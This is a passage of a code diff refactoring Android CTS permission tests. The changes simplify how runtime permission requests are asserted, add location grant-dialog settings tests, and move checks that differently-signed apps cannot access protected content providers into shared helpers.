+ Manifest.permission.READ_CALENDAR}, () -> {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ });
// Make sure the permission is granted
- assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS + 2,
- new String[] {Manifest.permission.READ_CALENDAR}, new boolean[] {true});
+ assertPermissionRequestResult(thirdResult, new String[] {Manifest.permission.READ_CALENDAR},
+ new boolean[] {true});
}
@Test
@@ -417,12 +342,10 @@
String[] permissions = new String[] {Manifest.permission.BIND_PRINT_SERVICE};
// Request the permission and do nothing
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, null);
+ BasePermissionActivity.Result result = requestPermissions(permissions, null);
// Expect the permission is not granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false});
}
@Test
@@ -434,12 +357,10 @@
String[] permissions = new String[] {"permission.does.not.exist"};
// Request the permission and do nothing
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, null);
+ BasePermissionActivity.Result result = requestPermissions(permissions, null);
// Expect the permission is not granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false});
}
@Test
@@ -456,8 +377,7 @@
};
// Request the permission and allow it
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, () -> {
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
try {
clickAllowButton();
getUiDevice().waitForIdle();
@@ -469,8 +389,7 @@
});
// Expect the permission are reported as granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {true, true});
+ assertPermissionRequestResult(result, permissions, new boolean[] {true, true});
// The permissions are granted
assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -534,20 +453,19 @@
.checkSelfPermission(Manifest.permission.READ_CALENDAR));
// Request the permission and allow it
- BasePermissionActivity.Result thirdResult = requestPermissions(new String[] {
- Manifest.permission.READ_CALENDAR}, REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class, () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result thirdResult = requestPermissions(new String[]{
+ Manifest.permission.READ_CALENDAR}, () -> {
+ try {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
// Make sure the permission is granted
- assertPermissionRequestResult(thirdResult, REQUEST_CODE_PERMISSIONS,
- new String[] {Manifest.permission.READ_CALENDAR}, new boolean[] {true});
+ assertPermissionRequestResult(thirdResult, new String[] {Manifest.permission.READ_CALENDAR},
+ new boolean[] {true});
}
@Test
@@ -571,12 +489,9 @@
// Go through normal grant flow
BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
() -> { /* empty */ });
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false});
}
@Test
@@ -595,21 +510,19 @@
};
// Request the permission and allow it
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS, BasePermissionActivity.class, () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ try {
+ clickAllowForegroundButton();
+ getUiDevice().waitForIdle();
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
// Expect the permission are reported as granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false, true, false, true});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false, true, false, true});
// The permissions are granted
assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
@@ -626,13 +539,10 @@
// Request the permission and allow it
BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
() -> { /* empty */ });
// Expect the permissions is not granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[] {false});
+ assertPermissionRequestResult(result, permissions, new boolean[] {false});
}
private void assertAllPermissionsRevoked() {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
index e64838b..3f3e371a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
@@ -16,7 +16,7 @@
package com.android.cts.usepermission;
-import static junit.framework.Assert.assertEquals;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
import android.Manifest;
import android.content.pm.PackageManager;
@@ -32,33 +32,26 @@
@Test
public void testRuntimeGroupGrantNoExpansion() throws Exception {
// Start out without permission
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
+ assertPermissionState(Manifest.permission.RECEIVE_SMS, PackageManager.PERMISSION_DENIED);
+ assertPermissionState(Manifest.permission.SEND_SMS, PackageManager.PERMISSION_DENIED);
String[] permissions = new String[]{Manifest.permission.RECEIVE_SMS};
// request only one permission from the 'SMS' permission group at runtime,
// but two from this group are <uses-permission> in the manifest
// request only one permission from the 'contacts' permission group
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ try {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
// Expect the permission is granted
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, new boolean[]{true});
+ assertPermissionRequestResult(result, permissions, new boolean[]{true});
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getTargetContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
+ assertPermissionState(Manifest.permission.SEND_SMS, PackageManager.PERMISSION_DENIED);
}
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
index 1c32d39..507f6fa 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/src/com/android/cts/usepermission/UsePermissionTest28.java
@@ -23,9 +23,7 @@
import static junit.framework.Assert.assertEquals;
-import android.Manifest;
import android.content.Context;
-import android.content.pm.PackageManager;
import org.junit.Test;
@@ -44,21 +42,18 @@
String[] permissions = {ACCESS_FINE_LOCATION};
+
// request only foreground permission. This should automatically also add the background
// permission
- BasePermissionActivity.Result result = requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowAlwaysButton();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ BasePermissionActivity.Result result = requestPermissions(permissions, () -> {
+ try {
+ clickSettingsAllowAlwaysFromGrantDialog();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
- assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS, permissions,
- new boolean[]{true});
+ assertPermissionRequestResult(result, permissions, new boolean[]{true});
assertEquals(PERMISSION_GRANTED, context.checkSelfPermission(ACCESS_FINE_LOCATION));
assertEquals(PERMISSION_GRANTED, context.checkSelfPermission(ACCESS_BACKGROUND_LOCATION));
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
index e0e21eb..e3230af5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/src/com/android/cts/usepermission/UsePermissionTest29.java
@@ -21,8 +21,14 @@
import static android.content.pm.PackageManager.PERMISSION_DENIED;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static com.android.compatibility.common.util.UiAutomatorUtils.getUiDevice;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
import static junit.framework.Assert.assertEquals;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+
import org.junit.Before;
import org.junit.Test;
@@ -48,27 +54,24 @@
private BasePermissionActivity.Result requestPermissions(String[] permissions,
UiInteraction... uiInteractions) throws Exception {
- return super.requestPermissions(permissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- for (UiInteraction uiInteraction : uiInteractions) {
- uiInteraction.run();
- getUiDevice().waitForIdle();
- }
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
+ return requestPermissions(permissions, () -> {
+ try {
+ for (UiInteraction uiInteraction : uiInteractions) {
+ uiInteraction.run();
+ getUiDevice().waitForIdle();
+ }
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
}
- private static void assertPermissionRequestResult(BasePermissionActivity.Result result,
+ protected static void assertPermissionRequestResult(BasePermissionActivity.Result result,
String[] permissions, boolean... granted) {
- BasePermissionsTest.assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
- permissions, granted);
+ BasePermissionsTest.assertPermissionRequestResult(result, permissions, granted);
}
+ @Test
@Before
public void assertPermissionsNotGranted() {
assertDenied(ACCESS_FINE_LOCATION);
@@ -103,7 +106,7 @@
String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
BasePermissionActivity.Result result = requestPermissions(permissions,
- this::clickAllowAlwaysButton);
+ this::clickSettingsAllowAlwaysFromGrantDialog);
assertPermissionRequestResult(result, permissions, true, true);
assertGranted(ACCESS_FINE_LOCATION);
@@ -125,7 +128,7 @@
// Step 2: request background only
permissions = new String[]{ACCESS_BACKGROUND_LOCATION};
- result = requestPermissions(permissions, this::clickAllowButton);
+ result = requestPermissions(permissions, this::clickSettingsAllowAlwaysFromGrantDialog);
assertPermissionRequestResult(result, permissions, true);
assertGranted(ACCESS_FINE_LOCATION);
@@ -144,7 +147,7 @@
assertDenied(ACCESS_BACKGROUND_LOCATION);
// Step 2: grant background
- result = requestPermissions(permissions, this::clickAllowButton);
+ result = requestPermissions(permissions, this::clickSettingsAllowAlwaysFromGrantDialog);
assertPermissionRequestResult(result, permissions, true, true);
assertGranted(ACCESS_FINE_LOCATION);
@@ -177,4 +180,53 @@
assertDenied(ACCESS_FINE_LOCATION);
assertDenied(ACCESS_BACKGROUND_LOCATION);
}
+
+ @Test
+ public void openSettingsFromGrantNoOp() throws Exception {
+ // Step 1: Request both, go to settings, do nothing
+ String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
+
+ BasePermissionActivity.Result result = requestPermissions(permissions,
+ () -> {
+ clickSettingsLink();
+ getUiDevice().waitForIdle();
+ getUiDevice().pressBack();
+ try {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"));
+ } catch (UiObjectNotFoundException e) {
+ throw new AssertionError("Permission grant dialog didn't resume", e);
+ }
+ assertPermissionsNotGranted();
+ clickAllowForegroundButton();
+ });
+ assertPermissionRequestResult(result, permissions, true, false);
+
+ // Step 2: Upgrade foreground to background, go to settings, do nothing
+ requestPermissions(permissions,
+ () -> {
+ clickSettingsLink();
+ getUiDevice().waitForIdle();
+ getUiDevice().pressBack();
+ getUiDevice().waitForIdle();
+ try {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"));
+ } catch (UiObjectNotFoundException e) {
+ throw new AssertionError("Permission grant dialog didn't resume", e);
+ }
+ assertDenied(ACCESS_BACKGROUND_LOCATION);
+ clickNoUpgradeAndDontAskAgainButton();
+ });
+ assertPermissionRequestResult(result, permissions, true, false);
+ }
+
+ @Test
+ public void openSettingsFromGrantDowngrade() throws Exception {
+ // Request upgrade, downgrade permission to denied in settings
+ String[] permissions = {ACCESS_FINE_LOCATION, ACCESS_BACKGROUND_LOCATION};
+
+ requestPermissions(permissions, this::clickAllowForegroundButton);
+
+ requestPermissions(permissions, this::clickSettingsDenyFromGrantDialog);
+ // Expect process to get killed
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index e587e09..18f6096 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -35,6 +35,7 @@
<activity android:name=".ReceiveUriActivity" android:exported="true"
android:launchMode="singleTop" />
<service android:name=".ReceiveUriService" android:exported="true" />
+ <activity android:name=".GetResultActivity" android:exported="true" />
</application>
<instrumentation android:targetPackage="com.android.cts.usespermissiondiffcertapp"
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
index e5912b6..2c0ed78 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 137825
moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index 30743c9..d999895 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -16,38 +16,26 @@
package com.android.cts.usespermissiondiffcertapp;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_CLEAR_PRIMARY_CLIP;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INTENT;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_MODE;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_URI;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertContentUriNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingContentUriNotAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingContentUriAllowed;
+import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingContentUriNotAllowed;
-import android.content.ClipData;
-import android.content.ClipboardManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
import android.content.Intent;
-import android.content.UriPermission;
-import android.database.Cursor;
import android.net.Uri;
-import android.os.Bundle;
import android.provider.CalendarContract;
import android.provider.ContactsContract;
-import android.test.AndroidTestCase;
-import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
-import com.android.cts.permissiondeclareapp.UtilsProvider;
-
-import java.io.IOException;
-import java.util.List;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Tests that signature-enforced permissions cannot be accessed by apps signed
@@ -55,209 +43,79 @@
*
* Accesses app cts/tests/appsecurity-tests/test-apps/PermissionDeclareApp/...
*/
-public class AccessPermissionWithDiffSigTest extends AndroidTestCase {
- private static final Uri PERM_URI = Uri.parse("content://ctspermissionwithsignature");
- private static final Uri PERM_URI_GRANTING = Uri.parse("content://ctspermissionwithsignaturegranting");
- private static final Uri PERM_URI_PATH = Uri.parse("content://ctspermissionwithsignaturepath");
- private static final Uri PERM_URI_PATH_RESTRICTING = Uri.parse(
+@RunWith(AndroidJUnit4.class)
+public class AccessPermissionWithDiffSigTest {
+ private static Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ static final Uri PERM_URI = Uri.parse("content://ctspermissionwithsignature");
+ static final Uri PERM_URI_GRANTING = Uri.parse("content://ctspermissionwithsignaturegranting");
+ static final Uri PERM_URI_PATH = Uri.parse("content://ctspermissionwithsignaturepath");
+ static final Uri PERM_URI_PATH_RESTRICTING = Uri.parse(
"content://ctspermissionwithsignaturepathrestricting");
- private static final Uri PRIV_URI = Uri.parse("content://ctsprivateprovider");
- private static final Uri PRIV_URI_GRANTING = Uri.parse("content://ctsprivateprovidergranting");
- private static final String EXPECTED_MIME_TYPE = "got/theMIME";
+ static final Uri PRIV_URI = Uri.parse("content://ctsprivateprovider");
+ static final Uri PRIV_URI_GRANTING = Uri.parse("content://ctsprivateprovidergranting");
+ static final String EXPECTED_MIME_TYPE = "got/theMIME";
- private static final Uri AMBIGUOUS_URI_COMPAT = Uri.parse("content://ctsambiguousprovidercompat");
- private static final String EXPECTED_MIME_TYPE_AMBIGUOUS = "got/theUnspecifiedMIME";
- private static final Uri AMBIGUOUS_URI = Uri.parse("content://ctsambiguousprovider");
+ static final Uri AMBIGUOUS_URI_COMPAT = Uri.parse("content://ctsambiguousprovidercompat");
+ static final String EXPECTED_MIME_TYPE_AMBIGUOUS = "got/theUnspecifiedMIME";
+ static final Uri AMBIGUOUS_URI = Uri.parse("content://ctsambiguousprovider");
- private static final Uri[] GRANTABLE = new Uri[] {
+ static final Uri[] GRANTABLE = new Uri[] {
Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
- Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
Uri.withAppendedPath(PERM_URI_PATH, "foo"),
+ Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
};
- private static final Uri[] NOT_GRANTABLE = new Uri[] {
- Uri.withAppendedPath(PERM_URI, "foo"),
- Uri.withAppendedPath(PRIV_URI, "foo"),
- Uri.withAppendedPath(PERM_URI_PATH_RESTRICTING, "foo"),
+ static final Uri[] NOT_GRANTABLE = new Uri[] {
+ Uri.withAppendedPath(PERM_URI, "bar"),
+ Uri.withAppendedPath(PERM_URI_GRANTING, "bar"),
+ Uri.withAppendedPath(PERM_URI_PATH, "bar"),
+ Uri.withAppendedPath(PRIV_URI, "bar"),
+ Uri.withAppendedPath(PRIV_URI_GRANTING, "bar"),
+ Uri.withAppendedPath(AMBIGUOUS_URI, "bar"),
CalendarContract.CONTENT_URI,
ContactsContract.AUTHORITY_URI,
};
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ static final int[] GRANTABLE_MODES = new int[] {
+ Intent.FLAG_GRANT_READ_URI_PERMISSION,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+ };
- // Always dispose, usually to clean up from failed tests
- ReceiveUriActivity.finishCurInstanceSync();
- }
-
- private void assertReadingContentUriNotAllowed(Uri uri, String msg) {
- try {
- getContext().getContentResolver().query(uri, null, null, null, null);
- fail("expected SecurityException reading " + uri + ": " + msg);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
- }
-
- private void assertReadingContentUriAllowed(Uri uri) {
- try {
- getContext().getContentResolver().query(uri, null, null, null, null);
- } catch (SecurityException e) {
- fail("unexpected SecurityException reading " + uri + ": " + e.getMessage());
- }
- }
-
- private void assertReadingClipNotAllowed(ClipData clip) {
- assertReadingClipNotAllowed(clip, null);
- }
-
- private void assertReadingClipNotAllowed(ClipData clip, String msg) {
- for (int i=0; i<clip.getItemCount(); i++) {
- ClipData.Item item = clip.getItemAt(i);
- Uri uri = item.getUri();
- if (uri != null) {
- assertReadingContentUriNotAllowed(uri, msg);
- } else {
- Intent intent = item.getIntent();
- uri = intent.getData();
- if (uri != null) {
- assertReadingContentUriNotAllowed(uri, msg);
- }
- ClipData intentClip = intent.getClipData();
- if (intentClip != null) {
- assertReadingClipNotAllowed(intentClip, msg);
- }
- }
- }
- }
-
- private void assertOpenFileDescriptorModeNotAllowed(Uri uri, String msg, String mode) {
- try {
- getContext().getContentResolver().openFileDescriptor(uri, mode).close();
- fail("expected SecurityException writing " + uri + ": " + msg);
- } catch (IOException e) {
- throw new IllegalStateException(e);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
- }
-
- private void assertContentUriAllowed(Uri uri) {
- assertReadingContentUriAllowed(uri);
- assertWritingContentUriAllowed(uri);
- }
-
- private void assertContentUriNotAllowed(Uri uri, String msg) {
- assertReadingContentUriNotAllowed(uri, msg);
- assertWritingContentUriNotAllowed(uri, msg);
- }
-
- private void assertWritingContentUriNotAllowed(Uri uri, String msg) {
- final ContentResolver resolver = getContext().getContentResolver();
- try {
- resolver.insert(uri, new ContentValues());
- fail("expected SecurityException inserting " + uri + ": " + msg);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
-
- try {
- resolver.update(uri, new ContentValues(), null, null);
- fail("expected SecurityException updating " + uri + ": " + msg);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
-
- try {
- resolver.delete(uri, null, null);
- fail("expected SecurityException deleting " + uri + ": " + msg);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
-
- try {
- getContext().getContentResolver().openOutputStream(uri).close();
- fail("expected SecurityException writing " + uri + ": " + msg);
- } catch (IOException e) {
- throw new IllegalStateException(e);
- } catch (SecurityException expected) {
- assertNotNull("security exception's error message.", expected.getMessage());
- }
-
- assertOpenFileDescriptorModeNotAllowed(uri, msg, "w");
- assertOpenFileDescriptorModeNotAllowed(uri, msg, "wt");
- assertOpenFileDescriptorModeNotAllowed(uri, msg, "wa");
- assertOpenFileDescriptorModeNotAllowed(uri, msg, "rw");
- assertOpenFileDescriptorModeNotAllowed(uri, msg, "rwt");
- }
-
- private void assertWritingContentUriAllowed(Uri uri) {
- final ContentResolver resolver = getContext().getContentResolver();
- try {
- resolver.insert(uri, new ContentValues());
- resolver.update(uri, new ContentValues(), null, null);
- resolver.delete(uri, null, null);
-
- resolver.openOutputStream(uri).close();
- resolver.openFileDescriptor(uri, "w").close();
- resolver.openFileDescriptor(uri, "wt").close();
- resolver.openFileDescriptor(uri, "wa").close();
- resolver.openFileDescriptor(uri, "rw").close();
- resolver.openFileDescriptor(uri, "rwt").close();
- } catch (IOException e) {
- fail("unexpected IOException writing " + uri + ": " + e.getMessage());
- } catch (SecurityException e) {
- fail("unexpected SecurityException writing " + uri + ": " + e.getMessage());
- }
- }
-
- private void assertWritingClipNotAllowed(ClipData clip) {
- assertWritingClipNotAllowed(clip, null);
- }
-
- private void assertWritingClipNotAllowed(ClipData clip, String msg) {
- for (int i=0; i<clip.getItemCount(); i++) {
- ClipData.Item item = clip.getItemAt(i);
- Uri uri = item.getUri();
- if (uri != null) {
- assertWritingContentUriNotAllowed(uri, msg);
- } else {
- Intent intent = item.getIntent();
- uri = intent.getData();
- if (uri != null) {
- assertWritingContentUriNotAllowed(uri, msg);
- }
- ClipData intentClip = intent.getClipData();
- if (intentClip != null) {
- assertWritingClipNotAllowed(intentClip, msg);
- }
- }
- }
- }
+ static final int[] NOT_GRANTABLE_MODES = new int[] {
+ Intent.FLAG_GRANT_READ_URI_PERMISSION,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION,
+ };
/**
* Test that the ctspermissionwithsignature content provider cannot be read,
* since this app lacks the required certs
*/
+ @Test
public void testReadProviderWithDiff() {
- assertReadingContentUriRequiresPermission(PERM_URI,
- "com.android.cts.permissionWithSignature");
+ assertReadingContentUriNotAllowed(PERM_URI, null);
}
/**
* Test that the ctspermissionwithsignature content provider cannot be written,
* since this app lacks the required certs
*/
+ @Test
public void testWriteProviderWithDiff() {
- assertWritingContentUriRequiresPermission(PERM_URI,
- "com.android.cts.permissionWithSignature");
+ assertWritingContentUriNotAllowed(PERM_URI, null);
}
/**
* Test that the ctsprivateprovider content provider cannot be read,
* since it is not exported from its app.
*/
+ @Test
public void testReadProviderWhenPrivate() {
assertReadingContentUriNotAllowed(PRIV_URI, "shouldn't read private provider");
}
@@ -266,6 +124,7 @@
* Test that the ctsambiguousprovider content provider cannot be read,
* since it doesn't have an "exported=" line.
*/
+ @Test
public void testReadProviderWhenAmbiguous() {
assertReadingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't read ambiguous provider");
}
@@ -276,6 +135,7 @@
* Test that the ctsambiguousprovidercompat content provider can be read for older
* API versions, because it didn't specify either exported=true or exported=false.
*/
+ @Test
public void testReadProviderWhenAmbiguousCompat() {
assertReadingContentUriAllowed(AMBIGUOUS_URI_COMPAT);
}
@@ -286,6 +146,7 @@
* Test that the ctsambiguousprovidercompat content provider can be written for older
* API versions, because it didn't specify either exported=true or exported=false.
*/
+ @Test
public void testWriteProviderWhenAmbiguousCompat() {
assertWritingContentUriAllowed(AMBIGUOUS_URI_COMPAT);
}
@@ -294,6 +155,7 @@
* Test that the ctsprivateprovider content provider cannot be written,
* since it is not exported from its app.
*/
+ @Test
public void testWriteProviderWhenPrivate() {
